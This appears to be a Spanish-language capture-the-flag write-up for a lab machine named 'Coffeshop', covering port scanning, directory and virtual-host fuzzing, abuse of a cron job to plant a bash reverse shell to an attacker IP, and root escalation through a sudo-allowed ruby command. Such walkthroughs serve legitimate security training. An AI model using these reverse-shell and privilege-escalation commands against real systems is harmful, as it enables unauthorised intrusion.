Coffeshop

Table of contents

  1. Enumeracion
    1. Directory Fuzzing
    2. Explorando el sitio web
  2. Movimiento lateral: tuna -> shopadmin
    1. user.txt (via no intencionada)
    2. user.txt (via intencionada)
  3. Escalada de privilegios

Enumeracion

Iniciamos con un escaneo de nmap donde encontraremos el puerto 22 y 80

nmap -sS -n -Pn -T4 --open -p- 192.168.1.81
  • sS: haga un TCP SYN Scan el cual hace un escaneo sigiloso sin completar las conexiones TCP, responde con un SYN/ACK si el puerto esta abierto

  • n: para que no haga resolucion DNS y tarde menos el escaneo

  • Pn: para evitar el descubrimiento de hosts

  • open: para que solo muestre los puertos abiertos

  • -p-: para que escanee todo el rango de puertos

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Directory Fuzzing

Haciendo uso de gobuster para enumerar directorios mediante fuerza bruta, nos encontramos con shop

gobuster dir -u http://192.168.1.84/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
/shop                 (Status: 301) [Size: 311] [--> http://192.168.1.84/shop/]

Explorando el sitio web

En el sitio web principal nos encontramos el nombre de un dominio midnight.coffee, es posible que se este aplicando virtual hosting y lo tengamos que agregar al /etc/host para que resuelva

echo "<IP>     midnight.coffee" | tee -a /etc/hosts

Si regresamos el sitio web y entramos el recurso /shop, nos mostrara un encabezado con varias opciones, donde tendremos un login

En este punto intente probar con SQLi, NoSQLi, Type Juggling pero nada de eso me funciono, asi que recurri a enumerar subdominios, recordemos que agregamos un dominio al /etc/hosts, por lo cual debemos de hacer el fuzzing con ese dominio, usaremos wfuzz en modo vhost y descubriremos dev

wfuzz -u 'http://midnight.coffee' -H 'Host: FUZZ.midnight.coffee' -t 100 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hh 1690
200        71 L     152 W      1738 Ch     "dev"

Tambien hay que agregarlo el /etc/hosts

echo "<IP>     dev.midnight.coffee" | tee -a /etc/hosts

Al entrar al sitio, podremos ver las credenciales del login

Movimiento lateral: tuna -> shopadmin

user.txt (via no intencionada)

Durante la enumeracion, pude encontrar que en el directorio /opt existe un archivo de ruby que ocuparemos mas adelante

-rw-r--r--  1 root root   27 Jan  3 14:00 shop.rb

Tambien intente enumerar binarios SUID, permisos a nivel de sudoers y nada, explore un poco mas y encontre en el directorio home de shopadmin tiene permisos de ejecucion, por lo que podemos entrar en el pero no listar contenido

Asi que se me ocurrio leer el archivo user.txt y si tengo suerte y existe tener la flag, y si funciono

user.txt (via intencionada)

Si mostramos el archivo .viminfo podemos ver que se crearon y/o editaron varias cosas, como el crontab y el archivo /tmp/uwu.sh

Si mostramos las tareas cron, tenemos una que se ejecuta como el usuario shopadmin

* * * * * /bin/bash /home/shopadmin/execute.sh

Al ver su contenido, podemos ver que esta ejecutando cualquier archivo .sh del directorio /tmp, por lo cual podemos crear uno que nos envie una reverse shell, en mi caso usare el tipico one liner de bash

#!/usr/bin/env bash
bash -i >& /dev/tcp/<IP>/443 0>&1

Despues de 1 minuto, nos llegara una shell y ya tendremos la flag se user por la via intencionada

Escalada de privilegios

Si mostramos los permisos de nivel de sudoers, podemos ver que podemos ejecutar cualquier cosa con ruby y el archivo shop.rb

User shopadmin may run the following commands on coffee-shop:
    (root) NOPASSWD: /usr/bin/ruby * /opt/shop.rb

Al buscar en GFTOBins obtenemos que podemos hacernos root ejecutando ruby -e ‘exec “/bin/sh”‘, si lo probamos asi no funcionada, por lo que debemos de indicarle el archivo /opt/shop.rb

sudo ruby -e 'exec "/bin/bash"'  /opt/shop.rb

Y ya seremos root

Eso ha sido todo, gracias por leer ❤